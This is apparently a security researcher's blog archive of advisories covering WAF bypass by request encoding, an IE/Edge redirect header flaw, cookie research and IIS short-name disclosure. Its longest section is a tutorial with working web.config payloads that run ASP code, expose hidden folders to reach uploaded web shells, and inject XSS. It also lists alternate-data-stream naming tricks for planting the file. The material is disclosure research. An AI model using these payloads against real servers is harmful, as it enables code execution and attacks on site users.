Category Archives: My Advisories

Soroush Dalili’s Security Advisories

Request encoding to bypass web application firewalls

I “think” I have discovered a “new” technique in bypassing external web application firewalls using request encoding. The idea is very simple but I had not seen this before to be used to bypass any protection mechanisms. Details of this technique has been published via NCC Group’s blog:

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/

This technique was presented as one the methods to mutate the HTTP requests in:

There are loads of other anomalies that can be used to bypass WAFs using webservers behaviour in accepting HTTP requests; my plan is to complete this research and put all the results via the https://http.ninja/ website. Please feel free to contact me via my Twitter (@irsdl) if you have some ideas regarding this.

The unofficial PDF version of this blog post can be downloaded from here:
https://soroush.secproject.com/downloadable/request-encoding-to-bypass-web-application-firewalls.pdf

Almost all the cloud-based WAFs that I had tested could be bypassed using this technique at the time of discovery.

CVE-2017-8592 – XMLHttpRequest in IE followed 307 redirections with additional or customised headers

If you are doing web application security assessments, you probably have seen many APIs that do not have any cross-site request forgery (CSRF) protections other than checking the Content-Type header.

Although this seems like a bad way of doing this, browsers do not normally allow you to use unusual Content-Type headers for another website (without CORS) and therefore the exploitation is quite impossible. However, a vulnerability was found in Internet Explorer and Edge that allowed users to set these arbitrary headers (anything that JavaScript can set). This issue was patched in July 2017. More details can be seen here:

https://www.nccgroup.trust/uk/our-research/technical-advisory-cve-2017-8592-xmlhttprequest-in-ie-followed-307-redirections-with-additional-or-customised-headers/

As mentioned in the above URL, bypassing security features using redirection is a common attack vector and it was interesting that this issue had not been reported to Microsoft previously. A similar issue in Adobe Flash had been patched a long time ago (see https://www.whitehatsec.com/blog/flash-307-redirect-game-over/).

Analysis of setting cookies for third party websites in different browsers

I had done a research into the ability of third party websites setting cookies for first party websites across different web browsers. This was published in the NCC Group blog which is available via the following link:

https://www.nccgroup.com/en/blog/2015/01/analysis-of-setting-cookies-for-third-party-websites-in-different-browsers/

The PDF version of this blog post is also available here: https://soroush.secproject.com/downloadable/Analysis_of_setting_cookies_NCCGroup_blog.pdf

IIS Short File Name Disclosure is back! Is your server vulnerable?

After a few years of finding IIS Short File Name Disclosure vulnerability/feature, I discovered a new method that can work on the latest versions of IIS!

It is a simple trick: If OPTIONS method is used instead of a GET method, the latest versions of IIS will produce a different error message when a short file name is available on the server. The actual bug is exactly the same as the original report and therefore this does not count as a new issue but a new technique.

I have also updated my Java scanner which is accessible via my GitHub repository: https://github.com/irsdl/iis-shortname-scanner/tree/master/

I have successfully tested this scanner on a freshly installed IIS7.5 on Windows 2008 R2 and also on an IIS8.0 on Windows 2012. It seems 8.3 names are still enabled by default… and Microsoft does not seem to be keen to patch this low risk issue after a few years. Well, it is a feature now just like the semi-colon vulnerability in IIS6! ;-)

Test your IIS server and see if it is vulnerable! You may need to add valid headers and cookies to the scanner to be able to scan some special servers.

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   <httpErrors existingResponse="Replace" errorMode="Detailed" />
   </system.webServer>
</configuration>

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.